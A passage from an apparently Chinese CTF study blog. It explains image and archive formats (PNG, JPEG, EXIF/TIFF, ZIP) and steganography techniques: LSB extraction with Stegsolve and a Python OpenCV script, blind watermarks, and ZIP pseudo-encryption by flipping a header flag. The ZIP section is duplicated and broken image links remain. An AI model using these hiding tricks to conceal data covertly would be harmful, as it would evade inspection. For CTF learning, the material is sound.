- 图像透明数据块tRNS(transparency).
- 物理像素尺寸数据块pHYs(physical pixel dimensions)。
JPEG
JPEG是一个压缩标准,又可分为标准 JPEG、渐进式JPEG及JPEG2000三种:
- 标准JPEG:以24位颜色存储单个光栅图像,是与平台无关的格式,支持最高级别的压缩,不过这种压缩是有损耗的。此类型图片在网页下载时只能由上而下依序显示图片,直到图片资料全部下载完毕,才能看到全貌。
- 渐进式 JPEG:渐进式JPG为标准JPG的改良格式,支持交错,可以在网页下载时,先呈现出图片的粗略外观后,再慢慢地呈现出完整的内容,渐进式JPG的文件 比标准JPG的文件要来得小。
- JPEG2000:新一代的影像压缩法,压缩品质更好,其压缩率比标准JPEG高约30%左右,同时支持有损和无损压缩。一个极其重要的特征在于它能实现渐进传输,即先传输图像的轮廓,然后逐步传输数据,让图像由朦胧到清晰显示。
EXIF
FFE1APP1 MarkerSSSSAPP1 DataAPP1 Data Size45786966 0000Exif Header49492A00 08000000TIFF HeaderXXXX. . . .IFD0 (main image)DirectoryLLLLLLLLLink to IFD1XXXX. . . .Data area of IFD0XXXX. . . .Exif SubIFDDirectory00000000End of LinkXXXX. . . .Data area of Exif SubIFDXXXX. . . .IFD1(thumbnail image)Directory00000000End of LinkXXXX. . . .Data area of IFD1FFD8XXXX. . . XXXXFFD9Thumbnail image
TIFF的格式框架图,对应图1中,49 49 2A 00 08 00 00 00 为TIFF的头部,4949表示II小端存储,2A 00 为约定的常量数值,08 00 00 00 为TIFF数据相对TIFF开始位置的offset,头部为8个字节所以这个值一般为8,该offset用4字节表示,理论上可以是文件任何地方。
EXIF可以被附加在JPEG、TIFF、RIFF等文件中,为其增加有关数码相机拍摄信息的内容、缩略图和图像处理软件的一些版本信息。
选取一张Windows自带的示例图片(JPEG格式),通过右键查看它的属性,可以查看到作者、拍摄日期、版权等信息。
LSB
LSB(最低有效位 Least Significant Bit)。在大多数PNG图像中,每个像素都由R、G、B三原色组成(有的图片还包含A通道表示透明度),每种颜色一般用8位数据表示(0x00~0xFF),如果修改其最低位,人眼是不能区分出这种微小的变化的。可以利用每个像素的R、G、B颜色分量的最低有效位来隐藏信息,且每个像素可以携带3位信息。
BUUCTF LSB隐写题
用Stegsolve工具进行分析,选择Analyse中的Data Extract(数据提取),选择red、blue、green三原色的最低位,Save bin(保存为flag.jpg图片)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rN0udZVg-1652359568250)(C:\Users\25574\AppData\Roaming\Typora\typora-user-images\image-20220204012634616.png)]
打开保存的图片为一个二维码图片
用QR Research工具打开二维码,分析二维码信息,即可获得flag信息
西湖沦剑 YUSA的小秘密复现
题目提示为LSB隐写,把照片放入stegsolve工具,发现提取的flag不完整
opencv中有多种色彩空间,包括 RGB、HSI、HSL、HSV、HSB、YCrCb、CIE XYZ、CIE Lab。
转换类型 | Opencv2.x | Opencv3.x |
---|---|---|
RGB<–>BGR | CV_BGR2BGRA、CV_RGB2BGRA、CV _BGRA2RGBA、CV_BGR2BGRA、CV_BGRA2BGR | COLOR_BGR2BGRA、COLOR_RGB2BGRA、COLOR_ BGRA2RGBA、COLOR_BGR2BGRA、COLOR_BGRA2BGR |
RGB<–>GRAY | CV_RGB2GRAY 、CV_GRAY2RGB、CV_ RGBA2GRAY、CV_GRAY2GRBA | COLOR_RGB2GRAY、COLOR_GRAY2RGB、COLOR_ RGBA2GRAY、COLOR_GRAY2GRBA |
RGB<–>HSV | CV_BGR2HSV、CV_RGB2HSV、CV_HSV2BGR 、CV_HSV2RGB | COLOR_BGR2HSV、COLOR_RGB2HSV 、COLOR HSV2BGR、COLOR_HSV2RGB |
RGB<–>YCrCb JPEG(或YCC) | CV_RGB2YCrCb、CV_RGB2YCrCb、CV_YCrCb2BGR、CV_YCrCb2RGB(可以用 YUV代替 YCrCb) | COLOR_RGB2YCrCb、COLOR_RGB2YCrCb、COLOR_ YCrCb2BGR 、COLOR_YCrCb2RGB(可以用 YUV代替 YCrCb) |
RGB<->CIE XYZ | CV_BGR2XYZ、CV_RGB2XYZ、CV_XYZ2BGR,、CV_XYZ2RGB | COLOR_BGR2XYZ、COLOR_RGB2XYZ、COLOR_ XYZ2BGR、COLOR_XYZ2RGB |
RGB<–>HLS | CV_BGR2HLS、CV_RGB2HLS、CV_HLS2BGR、CV_HLS2RGB | COLOR_BGR2HLS、COLOR_RGB2HLS、COLOR_HLS2BGR、COLOR_HLS2RGB |
RGB<–>CIE L*a*b | CV_ BGR2Lab、CV_RGB2Lab、CV_Lab2BGR、CV_Lab2RGB | COLOR_BGR2Lab、COLOR_RGB2Lab、COLOR _Lab2BGR、COLOR_Lab2RGB |
RGB<–>CIE L*a*b | CV_BGR2Luv、CV_RGB2Luv、CV_Luv2BGR、CV_ Luv2RGB | COLOR_BGR2Luv、COLOR_RGB2Luv、COLOR_ Luv2BGR、COLOR_Luv2RGB |
Bay–>RGB | CV_BayerBG2BGR、CV_BayerGB2BGR、CV_BayerRG2BGR、CV_BayerGR2BGR、CV_BayerBG2RGB、CV_BayerGB2RGB、CV_BayerRG2RGB、CV_BayerGR2RGB、 | CV_BayerBG2BGR、CV_BayerGB2BGR、CV_BayerRG2BGR、CV_BayerGR2BGR、CV_BayerBG2RGB、CV_BayerGB2RGB、CV_BayerRG2RGB、CV_BayerGR2RGB、 |
利用python对像素块进行颜色反转
from cv2 import cv2 as cv
#需要打开图片的路径,可以是绝对路径或者相对路径,路径中不能出现中文
#读取的彩色图片,是按照 GBR 的形式,数据格式在 0~255
'''
使用函数cv2.imread(filepath,flags)读入一副图片
filepath:要读入图片的完整路径
flags:读入图片的标志
cv2.IMREAD_COLOR:读入一副彩色图片,忽略alpha透明通道
cv2.IMREAD_GRAYSCALE:读入灰度图片
cv2.IMREAD_UNCHANGED:读入完整图片,包括alpha通道
'''
imag=cv.imread('C:/Desktop/211119619784cbdb9fb.png')
'''
用法: cv2.cvtColor(src, code[, dst[, dstCn]])
参数:
src:它是要更改其色彩空间的图像。
code:它是色彩空间转换代码。
dst:它是与src图像大小和深度相同的输出图像。它是一个可选参数。
dstCn:它是目标图像中的频道数。如果参数为0,则通道数自动从src和代码得出。它是一个可选参数。
'''
src=cv.cvtColor(imag,cv.COLOR_BGR2YCrCb)
Y,Cr,Cb=cv.split(src)
'''
使用函数cv2.imwrite(file,img,num)保存一个图像。
第一个参数是要保存的文件名,第二个参数是要保存的图像。
可选的第三个参数,它针对特定的格式:对于JPEG,其表示的是图像的质量,
用0 - 100的整数表示,默认95;对于png ,第三个参数表示的是压缩级别,默认为3
'''
cv.imwrite('C:/Desktop/Yusa.png',(Y%2)*255)
cv.imwrite('C:/Desktop/Cred.png',(Cr%2)*255)
cv.imwrite('C:/Desktop/Cgreen.png',(Cb%2)*255)
二、盲水印
数字水印技木可以将信恳砍入图片、音频等数字载体中,但以人类的视觉或者听觉无法分辨,只有通过特殊的手段才能读取。
图片中的盲水印可以添加在图片的空域或频域。空域技术是直接在信号空间中嵌入水印信息,LSB可以算是一种在空域中添加水印的方式。
要把时域或空域中表示的信号转换到频域,就要用到傅里叶变换。傅里叶变换源自对傅里叶级数的研究。在对傅里叶级数的研究中,复杂的周期函数可以用一系列简单的正弦波之和表示。将信号函数进行傅里叶变换,可以分离出其中各频率的正弦波,不同成分频率在频域中以峰值形式表示,就可以得到其频谱。相关内容可以参考“信号与系统”的教材。
得到图片的频域图像后,将水印编码后随即分布到各频率,然后与原图的频域进行叠加,将叠加水印的频谱进行傅里叶逆变换,就可得到添加了盲水印的图片。这种操作相当于往原来的信号中加入了噪声,这些噪声遍布全图,在空域上并不容易对图片造成破坏。
要提取出图片中的盲水印,只需把原图和带水印的图在频域中相减,然后根据原来的水印编码方式进行解码,即可提取出水印。
CTF中一般可以使用BlindWaterMark (https://github.com/chishaxie/BlindWaterMark)工具对图片讲行盲水印的添加和提取。
三、ZIP伪加密
在ZIP文件中,文件头和每个文件的核心目录区都有通用标记位。核心目录区头50 4B 01 02的偏移为8字节,其本身占2字节,最低位表示这个文件是否被加密,将其改为0x01后,再次打开会提示输入密码。但此时文件的内容并没有真的被加密,所以被称为伪加密,只要将该标志位重新改回就可正常打开。
解释ZIP原理的优质博客传送门:一个zip文件由这样三个部分组成_一只独孤的程序猿-CSDN博客_zip文件组成
压缩源文件数据区:
- 50 4B 03 04:这是头文件标记(0x04034b50)
- 14 00:解压文件所需 pkware 版本
- 00 00:全局方式位标记(有无加密)
- 08 00:压缩方式
- 5A 7E:最后修改文件时间
- F7 46:最后修改文件日期
- 16 B5 80 14:CRC-32校验(1480B516)
- 19 00 00 00:压缩后尺寸(25)
- 17 00 00 00:未压缩尺寸(23)
- 07 00:文件名长度
- 00 00:扩展记录长度
压缩源文件目录区:
-
50 4B 01 02:目录中文件文件头标记(0x02014b50)
-
3F 00:压缩使用的 pkware 版本
-
14 00:解压文件所需 pkware 版本
-
00 00:全局方式位标记(有无加密,这个更改这里进行伪加密,改为09 00打开就会提示有密码了)
-
08 00:压缩方式
-
5A 7E:最后修改文件时间
-
F7 46:最后修改文件日期
-
16 B5 80 14:CRC-32校验(1480B516)
-
19 00 00 00:压缩后尺寸(25)
-
17 00 00 00:未压缩尺寸(23)
-
07 00:文件名长度
-
24 00:扩展字段长度
-
00 00:文件注释长度
-
00 00:磁盘开始号
-
00 00:内部文件属性
-
20 00 00 00:外部文件属性
-
00 00 00 00:局部头部偏移量
压缩源文件目录结束标志:
- 50 4B 05 06:目录结束标记
- 00 00:当前磁盘编号
- 00 00:目录区开始磁盘编号
- 01 00:本磁盘上纪录总数
- 01 00:目录区中纪录总数
- 59 00 00 00:目录区尺寸大小
- 3E 00 00 00:目录区对第一张磁盘的偏移量
- 00 00:ZIP 文件注释长度
头50 4B 01 02的偏移为8字节,其本身占2字节,最低位表示这个文件是否被加密,将其改为0x01后,再次打开会提示输入密码。但此时文件的内容并没有真的被加密,所以被称为伪加密,只要将该标志位重新改回就可正常打开。
解释ZIP原理的优质博客传送门:一个zip文件由这样三个部分组成_一只独孤的程序猿-CSDN博客_zip文件组成
[外链图片转存中…(img-sY2bwh5y-1652359568252)]
压缩源文件数据区:
- 50 4B 03 04:这是头文件标记(0x04034b50)
- 14 00:解压文件所需 pkware 版本
- 00 00:全局方式位标记(有无加密)
- 08 00:压缩方式
- 5A 7E:最后修改文件时间
- F7 46:最后修改文件日期
- 16 B5 80 14:CRC-32校验(1480B516)
- 19 00 00 00:压缩后尺寸(25)
- 17 00 00 00:未压缩尺寸(23)
- 07 00:文件名长度
- 00 00:扩展记录长度
压缩源文件目录区:
-
50 4B 01 02:目录中文件文件头标记(0x02014b50)
-
3F 00:压缩使用的 pkware 版本
-
14 00:解压文件所需 pkware 版本
-
00 00:全局方式位标记(有无加密,这个更改这里进行伪加密,改为09 00打开就会提示有密码了)
-
08 00:压缩方式
-
5A 7E:最后修改文件时间
-
F7 46:最后修改文件日期
-
16 B5 80 14:CRC-32校验(1480B516)
-
19 00 00 00:压缩后尺寸(25)
-
17 00 00 00:未压缩尺寸(23)
-
07 00:文件名长度
-
24 00:扩展字段长度
-
00 00:文件注释长度
-
00 00:磁盘开始号
-
00 00:内部文件属性
-
20 00 00 00:外部文件属性
-
00 00 00 00:局部头部偏移量
压缩源文件目录结束标志:
- 50 4B 05 06:目录结束标记
- 00 00:当前磁盘编号
- 00 00:目录区开始磁盘编号
- 01 00:本磁盘上纪录总数
- 01 00:目录区中纪录总数
- 59 00 00 00:目录区尺寸大小
- 3E 00 00 00:目录区对第一张磁盘的偏移量
- 00 00:ZIP 文件注释长度